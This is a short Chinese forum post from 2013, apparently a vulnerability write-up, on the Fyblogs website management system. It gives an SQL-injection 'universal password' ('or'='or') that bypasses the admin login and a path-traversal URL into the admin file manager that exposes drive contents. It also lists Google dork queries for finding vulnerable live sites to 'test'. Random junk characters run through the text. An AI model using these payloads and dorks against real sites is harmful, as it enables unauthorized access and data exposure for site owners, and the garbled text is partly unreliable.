漏洞类型： 未授权访问/权限绕过
( h/ f8 E# x% e6 e$ B" j6 h- p' G5 C2 ~. z" ~; w
简要描述：3 D7 Z3 F& H0 |# ~
( V' t/ r0 I7 y3 a. L% wFyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！' f: [& R& z7 n3 {# f8 c& a
! F6 F k5 l% z2 t9 e3 ^详细说明：
! s# O! I$ A: ]& y8 X. p
6 \2 R* B0 ~* J后台万能密码 'or'='or'
- i2 B/ f& u/ P/ u# C后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！3 U; s7 N4 @/ v. n; p2 r
admin/uploadfile.asp?currentFolder=/upfiles/../9 j8 j9 n" L0 f) g2 X1 ?
5 `: A; U$ ?. d7 c8 @: T+ J- {3 M漏洞证明：+ g- a% Q7 K5 `5 F$ M' }2 e
9 b% k1 i* r# F: u) O: ]9 p
谷歌：inurl:type.asp?id=1 新闻中心1 ~5 h6 @ M" H: O5 }3 N$ z
或者 ：inurl:download_ok.asp?8 \* {- O) R! y3 k2 P9 A/ ~6 z
i% s2 ~( F5 \+ \# W; g可以测试8 e5 l& @' y2 D& m5 g; c$ ^; h! D
9 P6 |; Z$ p" }: c
% j1 l, X1 n% H6 L; O6 u) T+ \1 v2 i |
发表于 2013-3-7 13:07:46
收藏
支持
反对